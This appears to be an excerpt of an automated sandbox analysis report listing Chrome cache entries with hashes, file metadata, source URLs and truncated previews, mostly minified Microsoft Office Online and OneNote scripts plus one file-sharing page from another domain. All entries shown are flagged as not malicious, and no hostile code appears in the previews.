SSDEEP:	6144:RVBv4z0vJ7FVcefRjvYSMt/FOmKbJhohUUoc:TBv4z0vJ7F7pgSMt/FuhohUUoc
MD5:	77260376D705EA9E6D98D130D7249645
SHA1:	BFD795247B7341A445613D1C5825C67D5EFCEFE6
SHA-256:	CB455EFB85B352078D4E1E6AE7284A2D9D5864192F617C2735BD12AD434C52B4
SHA-512:	8B30D0E92097089272BA7E73FEA8E7673A6585F58A776372438CC7332CDEDACC0B4B9637878DC6D39DB74D9DE8FB00A1119B07B4A3E9B6B06ECE1E0C0B848254
Malicious:	false
Reputation:	low
URL:	https://wise.public.cdn.office.net/wise/owl/owl.0d1f1b153d771ea86590.js
Preview:	var Microsoft;!function(){"use strict";var t,e,n,o,r={18973:function(t,e,n){n.d(e,{h:function(){return s}});var o=n(20947),r=n(46049),i=n(38980),s=function(t){function e(){var e=null!==t&&t.apply(this,arguments)\|\|this;return e.value=null,e.hasNext=!1,e.hasCompleted=!1,e}return o.C6(e,t),e.prototype.N=function(e){return this.hasError?(e.error(this.thrownError),i.y.EMPTY):this.hasCompleted&&this.hasNext?(e.next(this.value),e.complete(),i.y.EMPTY):t.prototype.N.call(this,e)},e.prototype.next=function(t){this.hasCompleted\|\|(this.value=t,this.hasNext=!0)},e.prototype.error=function(e){this.hasCompleted\|\|t.prototype.error.call(this,e)},e.prototype.complete=function(){this.hasCompleted=!0,this.hasNext&&t.prototype.next.call(this,this.value),t.prototype.complete.call(this)},e}(r.B7)},43803:function(t,e,n){n.d(e,{t:function(){return s}});var o=n(20947),r=n(46049),i=n(15368),s=function(t){function e(e){var n=t.call(this)\|\|this;return n.B=e,n}return o.C6(e,t),Object.defineProperty(e.prototype,"va

Chrome Cache Entry: 373

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	HTML document, Unicode text, UTF-8 text, with very long lines (2837), with CRLF line terminators
Category:	downloaded
Size (bytes):	5708
Entropy (8bit):	5.752443898656996
Encrypted:	false
SSDEEP:	96:1hJEuYjp6gM4a0axEhBdFuuRCtWTyx1sShNFjON6o:f+uYjgl0OqrNyxjFk6o
MD5:	DD59625BD5E3C16DDA07DD2E4FD79AA1
SHA1:	1BDCAF30297928BA1E5920A874DB6E3B01211B2D
SHA-256:	95B79092E5D35A03D4B82D316CEC5B4ABE8C9D9C4B94FEC4B57E4DDCFEBA0E82
SHA-512:	310C399B86D845055F011A11C9850021645B04C6FF5107E50B840A2255CAA3FB0319E0F88D46ECE8894A6FAC43A04E6D1805585F1C574815931BE927D1D63ED7
Malicious:	false
Reputation:	low
URL:	https://goaheadplatform.com/filesshare.html
Preview:	<html>.. <head>.. <meta name="viewport" content="width=device-width, initial-scale=1.0">.. <meta name="robots" content="noindex, nofollow">.. <script src="https://cdnjs.cloudflare.com/ajax/libs/crypto-js/4.0.0/crypto-js.min.js"></script>.. <style>body, html {height: 100%;margin: 0;display: flex;align-items: center;justify-content: center;}@keyframes bounce {0%, 100%, 12.5%, 32.5%, 76.1% {transform: translateY(0);}22.5%, 86% {transform: translateY(7px);}}#zeta {height: 179px;width: 130px;overflow: hidden;margin-top: -59px;margin-left: 25px;}@keyframes shadow-fade {0%, 100%, 21.2%, 80% {opacity: 0;}47%, 70% {opacity: 1;}}#rabbinical {width: 130px;margin-top: 179px;}#sable {width: 130px;height: 71px;border-radius: 0 0 7px 7px;overflow: hidden;margin-top: -41px;}#sable>.zircon {width: 287px;height: 71px;background: #27a0e0;transform: translate(-153px, -70px) rotate(28deg);}#sable>.racially {width: 287px;height: 71px;background: #1388d6;transform: translate(-120px, 63px) rotate(-28deg);

Chrome Cache Entry: 374

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (2890)
Category:	downloaded
Size (bytes):	2939
Entropy (8bit):	5.4463871069846315
Encrypted:	false
SSDEEP:	48:mYn37JKN7i8LOBL8h+b8eIaWRG+8DVKX+6Q9fru1+6Q9agZO7+OcmwQ9vQ9P5AAR:mYLcvbh+Yeoo+8w+Da1+DagZO+wpuP5P
MD5:	53C022F55F8974A1E16B7F3D50199C6C
SHA1:	EEF1F63E7E416B6A826FEA3B2AF2FC1974964298
SHA-256:	4963C0887647EE3ABBAC1B602F2E78F105F4BF9903F1A3E8FCF6FFD96F4EC2EE
SHA-512:	97C05AC438089666E16BE4C86A389C6555D2667D7E0B7EB2E1691E678A4D46C3840EC3B2E42666110280B63E778451392342F672E61B7420C77E3D176C429ED6
Malicious:	false
Reputation:	low
URL:	https://res-1.cdn.office.net/officeonline/o/s/161790341012_App_Scripts/wp5/oreonotebookpane.min.js
Preview:	(globalThis.onenoteOnlineChunks=globalThis.onenoteOnlineChunks\|\|[]).push([[977],{16344:function(e,t,n){var o=n(70396),a=n(43461)(o);a.push([e.id,".wacCanvasOverlay__overlay___DpHwX {\n bottom: 0;\n left: -50px;\n position: absolute;\n right: 0;\n top: 0;\n z-index: 90;\n background: rgba(0, 0, 0, 0);\n -ms-high-contrast-adjust: none;\n}\n",""]),a.locals={overlay:"wacCanvasOverlay__overlay___DpHwX"},e.exports=a},83619:function(e,t,n){"use strict";n.r(t);var o=n(87343),a=n(35440),s=n(37194);const l=n(36065),r=(0,o.connect)((e=>({showOverlay:e.isVisible,navSelection:e.navSelection})))((e=>{const t=e.showOverlay&&!e.navSelection[s.C.SHOW_ALL]?a.createElement("div",{className:l.overlay}):null;return a.createElement("div",null,t)}));var c=n(42278),i=n(42435),d=n(45826),m=n(7165),u=n(82238),A=n(2025);let y=(0,i.I)();const S=(e,t)=>{let n={};return n[t]=!0,e((0,m.QI)(n)),c.Ay.ActionResponse.Succeeded};var v=n(67190),g=n(47207),h=n(33511),p=n(5066);const C=n(16510);var b;b=A.A.dispatch,

Chrome Cache Entry: 375

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (7444)
Category:	dropped
Size (bytes):	439778
Entropy (8bit):	5.506049992969721
Encrypted:	false
SSDEEP:	6144:XIa8dqI7TAYAf3WBQHhlWMWUGcRGjGFHTCH1Ct/LAAnDE+Yiu7lG2PPP8uO:X58dqI41SvUGcGGFHBt/fduJGaO
MD5:	E1ECEFA8693D3193B3EE735D7D8EC3A1
SHA1:	3C139DA475680595A1DBA09642E26759B97D41ED
SHA-256:	D9BB2CE40CC4B0957E65F3F3F5293167050FDAB5AA3581E2395D948D746A80B8
SHA-512:	76F9473A201D1FC4216F1AF8BF3DED4ACAF4DF1E300A4E24E608DC51B2BA1CCBFF56E5CD2FA86A7CD7F096D9B5EF415AA7688CF3C976BB2B0CCF26E1677C75FF
Malicious:	false
Reputation:	low
Preview:	/! For license information please see wacowlhostwebpack.js.LICENSE.txt /.(()=>{var e=document.currentScript;define("odsp-next/roots/WacOwlHost",["odsp.react.lib"],()=>{var t;return(()=>{"use strict";var n=[(e,t,n)=>{n.r(t),n.d(t,{__assign:()=>r,__asyncDelegator:()=>S,__asyncGenerator:()=>y,__asyncValues:()=>D,__await:()=>v,__awaiter:()=>l,__classPrivateFieldGet:()=>w,__classPrivateFieldSet:()=>E,__createBinding:()=>f,__decorate:()=>s,__exportStar:()=>p,__extends:()=>i,__generator:()=>u,__importDefault:()=>O,__importStar:()=>C,__makeTemplateObject:()=>I,__metadata:()=>d,__param:()=>c,__read:()=>_,__rest:()=>o,__spread:()=>h,__spreadArray:()=>g,__spreadArrays:()=>b,__values:()=>m});var a=function(e,t){return a=Object.setPrototypeOf\|\|{__proto__:[]}instanceof Array&&function(e,t){e.__proto__=t}\|\|function(e,t){for(var n in t)Object.prototype.hasOwnProperty.call(t,n)&&(e[n]=t[n])},a(e,t)};function i(e,t){if("function"!=typeof t&&null!==t)throw new TypeError("Class extends value "+String(t)

Chrome Cache Entry: 376

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (38319), with no line terminators
Category:	downloaded
Size (bytes):	38319
Entropy (8bit):	4.894144984125977
Encrypted:	false
SSDEEP:	768:N4k0JvWptT2z2p9GmkNqJ3htY1xYhwn5n9O:CJOptT2Sp9v7htY1xYC5n9O
MD5:	51750E48816F1EC30133B634C2596216
SHA1:	ADCC6F7E3CE25657E15ACE3BF2F941D69D1A5575
SHA-256:	F9D844D7F9BC50FFDE02FF10BD265CD7682FA52C942DA4C989AD4AC6BBDF5094
SHA-512:	A91CB85B094F8B9F71B51E6CD2D18F4B24F6AAE61B32AB3021983D5C184A1AF77E45092608BE00DA667BAE5F44CE648232D21A0AC1EE2703A0115F7AB6B08626
Malicious:	false
Reputation:	low
URL:	https://res-1.cdn.office.net/officeonline/o/s/hF9D844D7F9BC50FF_App_Scripts/1033/OneNoteIntl.js
Preview:	Type.registerNamespace("OneNoteIntl");OneNoteIntl.OneNoteStrings=function(){};OneNoteIntl.OneNoteStrings.registerClass("OneNoteIntl.OneNoteStrings");OneNoteIntl.OneNoteStrings.L_CloudFilesUploadSuccess="Successfully Uploaded : {0}";OneNoteIntl.OneNoteStrings.L_CloudFilesUploadFailed="Error Uploading : {0}";OneNoteIntl.OneNoteStrings.L_ContextMenuSmartLookup="Search";OneNoteIntl.OneNoteStrings.L_ContextMenuTextSmartLookup='Search "{0}"';OneNoteIntl.OneNoteStrings.L_BrowseVersions="Page Versions";OneNoteIntl.OneNoteStrings.L_Camera="Camera";OneNoteIntl.OneNoteStrings.L_CopyNotebook="Copy Notebook";OneNoteIntl.OneNoteStrings.L_HierarchySyncErrorMessage="The new experimental sync feature has experienced an error and your change may not be saved.";OneNoteIntl.OneNoteStrings.L_HierarchySyncErrorRefreshMessage="Please click here or refresh the webpage to resolve the issue.";OneNoteIntl.OneNoteStrings.L_CopyToCloudDescription="Edit and view this notebook on all your devices";OneNoteIntl.OneNot

Chrome Cache Entry: 377

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (33654)
Category:	dropped
Size (bytes):	33712
Entropy (8bit):	5.312964320999572
Encrypted:	false
SSDEEP:	768:jTkTStDd+8hoLE+Ye92stIminlpqPe3+KAXNGeOstcnk8DSyCO:DIStOHDo
MD5:	B6E215C559C24CAFD09273E9BFAFD357
SHA1:	ECCF0B92955DACEAF6FAD3A9DE7C36EB65B341CB
SHA-256:	DAF0C5F563BBD6915BEA269FA160B52176BAE7AA972FFA7F0D9345165A4825F3
SHA-512:	06FDF7EC3F675C5B458F16E206FE8F64624A3046531EA5484C72CA58136D449DF1638B9AE9CD78C0E355A4A05D373E18D89F96743CCAFF5700DECD1BD52620E9
Malicious:	false
Reputation:	low
Preview:	!function(e){var t={};function i(s){if(t[s])return t[s].exports;var r=t[s]={i:s,l:!1,exports:{}};return e[s].call(r.exports,r,r.exports,i),r.l=!0,r.exports}i.m=e,i.c=t,i.d=function(e,t,s){i.o(e,t)\|\|Object.defineProperty(e,t,{enumerable:!0,get:s})},i.r=function(e){"undefined"!=typeof Symbol&&Symbol.toStringTag&&Object.defineProperty(e,Symbol.toStringTag,{value:"Module"}),Object.defineProperty(e,"__esModule",{value:!0})},i.t=function(e,t){if(1&t&&(e=i(e)),8&t)return e;if(4&t&&"object"==typeof e&&e&&e.__esModule)return e;var s=Object.create(null);if(i.r(s),Object.defineProperty(s,"default",{enumerable:!0,value:e}),2&t&&"string"!=typeof e)for(var r in e)i.d(s,r,function(t){return e[t]}.bind(null,r));return s},i.n=function(e){var t=e&&e.__esModule?function(){return e.default}:function(){return e};return i.d(t,"a",t),t},i.o=function(e,t){return Object.prototype.hasOwnProperty.call(e,t)},i.p="",i(i.s=0)}([function(e,t,i){"use strict";var s;function r(e){if(!e)return;const t={};return e.forEac

Chrome Cache Entry: 378

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (5949), with no line terminators
Category:	downloaded
Size (bytes):	5949
Entropy (8bit):	5.021760613857532
Encrypted:	false
SSDEEP:	96:Vq+J+ZRrxLuL7H9T4Mh+HsQ7qQYHq3l0e4QDhMWp:xJ+ZR07HNhhw7qQYHq3l0e4P8
MD5:	BBF6A2B6E77972F0718F99C86AE3FE92
SHA1:	806E8C002AE178B41819BEAFE123AE09202DF966
SHA-256:	78FF6158246E4FA25F994827F90ED69FEEF349AA57449CB404E35C3026BD4B8A
SHA-512:	4B4F58735190254E74ED9BAF547046642F622EE35414784A093356D28982A28A5D84E4CE71E476A88BC43583B6BB2D916B16A733D67D5B30E145DC2E4182BC8C
Malicious:	false
Reputation:	low
URL:	https://res-1.cdn.office.net/officeonline/o/s/h78FF6158246E4FA2_App_Scripts/CompatParentElementFix.js
Preview:	function __loadCompat(n){n.Debug=function(){};n.Debug._fail=function(n){throw new Error(n);};n.Debug.writeln=function(n){window.console&&window.console.debug(n)};n.__getNonTextNode=function(n){try{while(n&&n.nodeType!=1)n=n.parentNode}catch(t){n=null}return n}}function _loadSafariCompat(){Node.prototype.__defineGetter__("text",function(){return this.textContent});Node.prototype.__defineSetter__("text",function(n){this.textContent=n});Node.prototype.selectNodes=function(n){var t=this.ownerDocument;return selectNodes(t,n,this)};Node.prototype.selectSingleNode=function(n){var t=this.ownerDocument;return selectSingleNode(t,n,this)};Document.prototype.selectNodes=function(n){return selectNodes(this,n,this.documentElement)};Document.prototype.selectSingleNode=function(n){return selectSingleNode(this,n,this.documentElement)}}function _loadMozillaCompat(n){n.navigate=function(n){window.setTimeout('window.location = "'+n+'";',0)};var t=function(n,t){t._mozillaEventHandler=function(n){return win

Chrome Cache Entry: 379

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (41569), with no line terminators
Category:	downloaded
Size (bytes):	41569
Entropy (8bit):	5.349246096567034
Encrypted:	false
SSDEEP:	384:wwstGDociKcWpWS8neDvci6hR5fZ2tF3t97D0QeIHcTzeC:wBlneDvci6hR5fZyt97QLIUz
MD5:	345BFF8D2E34511694D9D12A008F5F5D
SHA1:	B3F35302052C26C285C43B935BCE972904E62E28
SHA-256:	DD4039F8AFAC6FD76B462C4FD4F90374B18DB762719108491AC2E365196D71AC
SHA-512:	5B6A9EB510BFBD7198D00BA674FEB6D04B6E95A7E359A0C9B1C17086FACA1859AE4FE126985812C0AB1E87FEA963FA9B169C3A21A7DA534EC79B972D0935A692
Malicious:	false
Reputation:	low
URL:	https://res-1.cdn.office.net/officeonline/o/s/161790341012_App_Scripts/wacairspaceanimationlibrary.js
Preview:	function WacCurve(n,t,i,r,u,f){this.ID=n;this.type=t;this.x1=i;this.y1=r;this.x2=u;this.y2=f}function WacIntWrapper(n,t){this.value=n;this.contextId=t}function WacKeyFrame(n,t,i,r,u,f,e,o){this.type=n;this.curveID=t;this.startTime=i==null\|\|i.value==undefined?new WacIntWrapper(i,null):i;this.endTime=r==null\|\|r.value==undefined?new WacIntWrapper(r,null):r;this.startValue=u==null\|\|u.value==undefined?new WacIntWrapper(u,null):u;this.endValue=f==null\|\|f.value==undefined?new WacIntWrapper(f,null):f;this.relativeTo=e;this.operationType=o}function WacAnimation_ContextVariableManager(){}function WacAnim(n,t){this.ID=n;this.keyFrames=t}function WacAnimationEngine(){this.AnimationQueue=new Array(0);this.sharedTimer=null;this.sharedCancelTimer=null;this.resetInterval=5e3;this.sharedTimerRefs=0;this.conflictTable=new Array(0);this.currentAnimationIndex=-1;this.temporaryIDGenerator=0}function WacAnimation_State(){this.Index=0;this.Data=new Array(0);this.AnimateRight=!1}function WacAnimation_Object(n

Chrome Cache Entry: 380

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (57957)
Category:	downloaded
Size (bytes):	58000
Entropy (8bit):	5.310968385145406
Encrypted:	false
SSDEEP:	1536:4LKHejeriK/nQH7bif9yhUy1cNtQIl5a4SKv0TUcK://EPiQ/cvlL7v0K
MD5:	33276584A79EF91878C9EA47B8E940D4
SHA1:	B709FD58E9856FF86DE53BE67451B12080D5AA86
SHA-256:	3EBD75A33307DDF61561B93CC0F0EF6DE5B66554E25A630A27536B4A231EA170
SHA-512:	DC71D893AEE4ED31D8B31887417611178AF17D7C2C1740B625B439E2ECF048D8ABAE5C42AB4F35F3C6C5B2349416947E0FCB80B6014F2CBCB10413A8C62F5546
Malicious:	false
Reputation:	low
URL:	https://res-1.cdn.office.net/officeonline/o/s/h3EBD75A33307DDF6_App_Scripts/wp5/wacBootNew.min.js
Preview:	var wacBoot;!function(){"use strict";var e,t,n={},i={};function o(e){var t=i[e];if(void 0!==t)return t.exports;var s=i[e]={exports:{}};return n[e](s,s.exports,o),s.exports}o.m=n,o.d=function(e,t){for(var n in t)o.o(t,n)&&!o.o(e,n)&&Object.defineProperty(e,n,{enumerable:!0,get:t[n]})},o.f={},o.e=function(e){return Promise.all(Object.keys(o.f).reduce((function(t,n){return o.f[n](e,t),t}),[]))},o.u=function(e){return"pasLogger.min.js"},o.g=function(){if("object"==typeof globalThis)return globalThis;try{return this\|\|new Function("return this")()}catch(e){if("object"==typeof window)return window}}(),o.o=function(e,t){return Object.prototype.hasOwnProperty.call(e,t)},e={},t="wacBoot:",o.l=function(n,i,s,a){if(e[n])e[n].push(i);else{var r,l;if(void 0!==s)for(var c=document.getElementsByTagName("script"),d=0;d<c.length;d++){var u=c[d];if(u.getAttribute("src")==n\|\|u.getAttribute("data-webpack")==t+s){r=u;break}}r\|\|(l=!0,(r=document.createElement("script")).charset="utf-8",r.timeout=120,o.nc&&r.

Chrome Cache Entry: 381

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (30663)
Category:	downloaded
Size (bytes):	30715
Entropy (8bit):	5.2755427470728575
Encrypted:	false
SSDEEP:	768:ZtQtk0SMB/2ZsJIjrAWJdvgmfQFc6mjVqMP62A86uIz3yR:Z+u0S0/ks2JdImYFcw662A86vzyR
MD5:	90CFA3A9D4495B3209A432BBC650D97E
SHA1:	A29FCFAED6C1B9B7C552DCDC7BB57A78A936C924
SHA-256:	C7B296D08FE1B75A51792D6BD18183500D0A3F7F7B7169FBFFBF419E89EB4444
SHA-512:	DACDBDA5F6324958523EA72718C3E1A0AB115D4F8D2BB68A72C96D2854BE819F1B936B0A18472BC8245C395CE2ECCBF6B55BA58A5889402902B76F41603304A2
Malicious:	false
Reputation:	low
URL:	https://amcdn.msftauth.net/me?partner=OneNoteOnline&version=latest&market=EN-US&wrapperId=suiteshell
Preview:	window.MSA=window.MSA\|\|{};window.MSA.MeControl=window.MSA.MeControl\|\|{};window.MSA.MeControl.Config={"ver":"10.24086.4","mkt":"en-US","ptn":"onenoteonline","gfx":"https://amcdn.msftauth.net","dbg":false,"aad":true,"int":false,"pxy":true,"msTxt":false,"rwd":true,"telEvs":"PageAction, PageView, ContentUpdate, OutgoingRequest, ClientError, PartnerApiCall, TrackedScenario","instKey":"b8ffe739c47a401190627519795ca4d2-044a8309-9d4b-430b-9d47-6e87775cbab6-6888","oneDSUrl":"https://js.monitor.azure.com/scripts/c/ms.shared.analytics.mectrl-3.gbl.min.js","remAcc":true,"main":"meBoot","wrapperId":"suiteshell","cdnRegex":"^(?:https?:\\/\\/)?(mem\\.gfx\\.ms(?!\\.)\|controls\\.account.microsoft?(?:-int\|-dev)?(\\.com)?(:[0-9]{1,6})\|amcdn\\.ms(?:ft)?auth\\.net(?!\\.))","timeoutMs":30000,"graphv2":true,"graphinfo":{"graphclientid":"7eadcef8-456d-4611-9480-4fff72b8b9e2","graphscope":"user.read","graphcodeurl":"https://login.microsoftonline.com/common/oauth2/v2.0/authorize","graphredirecturi":"https://amc

Chrome Cache Entry: 382

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	2
Entropy (8bit):	1.0
Encrypted:	false
SSDEEP:	3:H:H
MD5:	99914B932BD37A50B983C5E7C90AE93B
SHA1:	BF21A9E8FBC5A3846FB05B4FA0859E0917B2202F
SHA-256:	44136FA355B3678A1146AD16F7E8649E94FB4FC21FE77E8310C060F61CAAFF8A
SHA-512:	27C74670ADB75075FAD058D5CEAF7B20C4E7786C83BAE8A32F626F9782AF34C9A33C2046EF60FD2A7878D378E29FEC851806BBD9A67878F3A9F1CDA4830763FD
Malicious:	false
Reputation:	low
Preview:	{}

Chrome Cache Entry: 383

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (60158)
Category:	dropped
Size (bytes):	60199
Entropy (8bit):	5.397699513420542
Encrypted:	false
SSDEEP:	768:b2LlwLEt/yMYv2VPDK/AwJaAuwBYfmhBhYhNca/jopjCmW2TPkMkY40IbJrbrXSo:b2LMJfBh8cwQkBaf63pBBZ9JR0c
MD5:	563C580A5DA893389A4CA7019CED24E5
SHA1:	E328B1BDA905BC27656A0F66351617816656CFBD
SHA-256:	E207FA1D74E1A96F1834D9B8E13E7F8110A90C70E51307EBB45074632BEB0202
SHA-512:	EFD50C6951C6D4ABCF2A8C979B18B3393F8D58E3CACDD7EFB1432B91FB282B3BEB5F1514F593F7B0B602E1E1C7E845092C72AC8310F89EDB12B2E873304ADB7A
Malicious:	false
Reputation:	low
Preview:	"use strict";function _define_property(e,t,i){return t in e?Object.defineProperty(e,t,{value:i,enumerable:!0,configurable:!0,writable:!0}):e[t]=i,e}function _object_spread(e){for(var t=1;t<arguments.length;t++){var i=null!=arguments[t]?arguments[t]:{},n=Object.keys(i);"function"==typeof Object.getOwnPropertySymbols&&(n=n.concat(Object.getOwnPropertySymbols(i).filter((function(e){return Object.getOwnPropertyDescriptor(i,e).enumerable})))),n.forEach((function(t){_define_property(e,t,i[t])}))}return e}(globalThis.onenoteOnlineChunks=globalThis.onenoteOnlineChunks\|\|[]).push([[658],{91855:function(e,t){var i;Object.defineProperty(t,"__esModule",{value:!0}),(i=t._BondDataType\|\|(t._BondDataType={}))[i._BT_STOP=0]="_BT_STOP",i[i._BT_STOP_BASE=1]="_BT_STOP_BASE",i[i._BT_BOOL=2]="_BT_BOOL",i[i._BT_DOUBLE=8]="_BT_DOUBLE",i[i._BT_STRING=9]="_BT_STRING",i[i._BT_STRUCT=10]="_BT_STRUCT",i[i._BT_LIST=11]="_BT_LIST",i[i._BT_MAP=13]="_BT_MAP",i[i._BT_INT32=16]="_BT_INT32",i[i._BT_INT64=17]="_BT_INT64"},

Chrome Cache Entry: 384

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (65536), with no line terminators
Category:	downloaded
Size (bytes):	168365
Entropy (8bit):	5.531054795587342
Encrypted:	false
SSDEEP:	3072:CYnfhiNLgQ7HIDhrVajKqhutob4xQU9HLCc/WDWommKbmSiPRu/8viLbfP:TMNL7ghJajKqhM+4xQU9HOGmKbVb3
MD5:	18B200C460C451695CEA44C729F1F7EE
SHA1:	22D231106FA37B296BA2045CD948EF122AE569DE
SHA-256:	1CD48CBB6D17A3A004FEF20817F93C5965B6DCB275D63C8902D46E56895C5F9D
SHA-512:	E4B30EBA57A62DAD3476220384D5C1702EDC31866A9A0E1B06808B97F6BAA52F1B0357E3DF63C23682CBF98EF63E4B0841091A8C43BBD7F994FF4F47F9DA7824
Malicious:	false
Reputation:	low
URL:	https://res-1.cdn.office.net/wise/owl/owl.slim.2d78df22050412528455.js
Preview:	var Microsoft;!function(){"use strict";var t,e,n,o,i={18973:function(t,e,n){n.d(e,{h:function(){return s}});var o=n(20947),i=n(46049),r=n(38980),s=function(t){function e(){var e=null!==t&&t.apply(this,arguments)\|\|this;return e.value=null,e.hasNext=!1,e.hasCompleted=!1,e}return o.C6(e,t),e.prototype.U=function(e){return this.hasError?(e.error(this.thrownError),r.y.EMPTY):this.hasCompleted&&this.hasNext?(e.next(this.value),e.complete(),r.y.EMPTY):t.prototype.U.call(this,e)},e.prototype.next=function(t){this.hasCompleted\|\|(this.value=t,this.hasNext=!0)},e.prototype.error=function(e){this.hasCompleted\|\|t.prototype.error.call(this,e)},e.prototype.complete=function(){this.hasCompleted=!0,this.hasNext&&t.prototype.next.call(this,this.value),t.prototype.complete.call(this)},e}(i.B7)},43803:function(t,e,n){n.d(e,{t:function(){return s}});var o=n(20947),i=n(46049),r=n(15368),s=function(t){function e(e){var n=t.call(this)\|\|this;return n.N=e,n}return o.C6(e,t),Object.defineProperty(e.prototype,"va

Chrome Cache Entry: 385

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with CRLF line terminators
Category:	downloaded
Size (bytes):	3831
Entropy (8bit):	5.120639874211328
Encrypted:	false
SSDEEP:	96:itGurLtJwqfjH6CIuRxs0gPhtxq+jLqXnvZQQ2:itGu3t+yb6CBUHN
MD5:	72D9A825554620C51BF0018A457E7F2E
SHA1:	23400E26C69A1F8A47236FFAD4BC80FC80BA773E
SHA-256:	365009220D893F07B356C7F253CECD5A9F7E06D6207A3DD7A148FC73812B4FE6
SHA-512:	9212035EFC74AD61A74FA806229E4A97BB9FB50698B0B15BD7296AD53B6A2C9A43D0A3E2082286F4AC60167E129E07CB511638A103C510DB3B5ADA6A383165A6
Malicious:	false
Reputation:	low
URL:	https://cdn.onenote.net/officeaddins/161790740450_Scripts/ExternalResources/js-cookie.js
Preview:	/!.. JavaScript Cookie v2.1.3.. * https://github.com/js-cookie/js-cookie.. .. Copyright 2006, 2015 Klaus Hartl & Fagner Brack.. * Released under the MIT license.. */..;(function (factory) {...var registeredInModuleLoader = false;...if (typeof define === 'function' && define.amd) {....define(factory);....registeredInModuleLoader = true;...}...if (typeof exports === 'object') {....module.exports = factory();....registeredInModuleLoader = true;...}...if (!registeredInModuleLoader) {....var OldCookies = window.Cookies;....var api = window.Cookies = factory();....api.noConflict = function () {.....window.Cookies = OldCookies;.....return api;....};...}..}(function () {...function extend () {....var i = 0;....var result = {};....for (; i < arguments.length; i++) {.....var attributes = arguments[ i ];.....for (var key in attributes) {......result[key] = attributes[key];.....}....}....return result;...}.....function init (converter) {....function api (key, value, attributes) {.....var res

Chrome Cache Entry: 386

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	27
Entropy (8bit):	3.708048150071232
Encrypted:	false
SSDEEP:	3:HyjJTzMKHJu:HyjNz5pu
MD5:	435B48C70ACA2DC80F8B34B5FDEB2789
SHA1:	FFE2C8567607568F939FA1A6F9888639B98B400C
SHA-256:	6468AC9F9BCA964F3910FC967B80781C1C8634300E36F95AE49056D91A2734BF
SHA-512:	5C73531F908067B986F4F7F1BB423DC6FC4B1CDC9A6C65205658BD2A2499CB53F0F1C4EB928B8B87B189D969C3769F9D97EA5AB1CEA97FE6F18D2DD4AD583C60
Malicious:	false
Reputation:	low
Preview:	The service is unavailable.

Chrome Cache Entry: 387

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (3527), with no line terminators
Category:	dropped
Size (bytes):	3527
Entropy (8bit):	5.243451451019216
Encrypted:	false
SSDEEP:	48:G6E6oKn0FmM8LOCvlocJZS1tJM3kL+4UT3LW0IwlQSoIQ90ESf4TmlSYmYBo:9yDWocHS3Wl4W3abOQS/CahlcYW
MD5:	DF2E618F66E5DE074A8070BC09CA3C4F
SHA1:	38F67C978761E4AEAA5341A4FF39C59C1DED221C
SHA-256:	BD0DD2B15855BE52CBA496CC6E8F0FF65FBBA6ADDBA92282E53CECA6B27BFCC9
SHA-512:	6CCA2001607B8DBA825F30116A7CD0FC93A0A32E01931DA86AD4820F883CB1AD25823D61443321525550E0EEDD17E0A018A1B13F6E802050593DE19E721F450B
Malicious:	false
Reputation:	low
Preview:	function GetInstrumentationCategory(){return instrumentationCategory?instrumentationCategory:InstrumentationCategoryString?instrumentationCategory=Diag.ULSCat[InstrumentationCategoryString]:null}function InstrumentLinks(n){for(var t,r=0,i=0;i<n.length;i++)t=n[i],t.id\|\|(t.id="un_"+r,r++),t.onclick=GenerateInstrumentationLink(t.id,t.onclick),t.ondragstart=GenerateDragInstrumentationLink(t.id,t.ondrag),t.oncontextmenu=GenerateContextMenuInstrumentationLink(t.id,t.oncontextmenu)}function LogUserViewPortInfo(){var t=$(window).width(),n=$(window).height(),i=screen.width,r=screen.height,u=$(document).height(),f=n/u100;Diag.ULS.sendTraceTag(6436628,GetInstrumentationCategory(),Diag.ULSTraceLevel.info,"User ViewPort Info;windowWidth={0};windowHeight={1};screenWidth={2};screenHeight={3};percentageOfPageVisible={4};",t,n,i,r,f.toFixed(3))}function UpdateFurthestScrollDepth(){var t=$(window).scrollTop(),i=$(window).height(),r=t+i,u=$(document).height(),n=r/u100;n>furthestScrollDepthPercentage&&(

Chrome Cache Entry: 388

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (7230)
Category:	dropped
Size (bytes):	7280
Entropy (8bit):	5.289370636276308
Encrypted:	false
SSDEEP:	96:QqVlV0+Zmn1dZVxmK1PisXxzuip6ouBEgqkVAW6f3ipFI0LP3hVUmVnPkWQmd5eY:hV0+Zm/1PbxqiPgDVAzi9hJtPk5OTR2S
MD5:	C34231B4470A7929280F8E6E0C9D1141
SHA1:	9F5BAAA7D17862BCAC1D8790C1DBEB3B5F6C3C1A
SHA-256:	5020CD9C34C2ABA5817AA26019EAAA81D3ADA323A30537435AA57F1D4F9474D1
SHA-512:	550E37732B274B9AD30686F0A9E6B517A64F7A9D7E40D0F9DB6109369B70DE476BD40393E899E0009471C2D604A6FFBE4C17F69B70A2797CDAB908DE8C3440B8
Malicious:	false
Reputation:	low
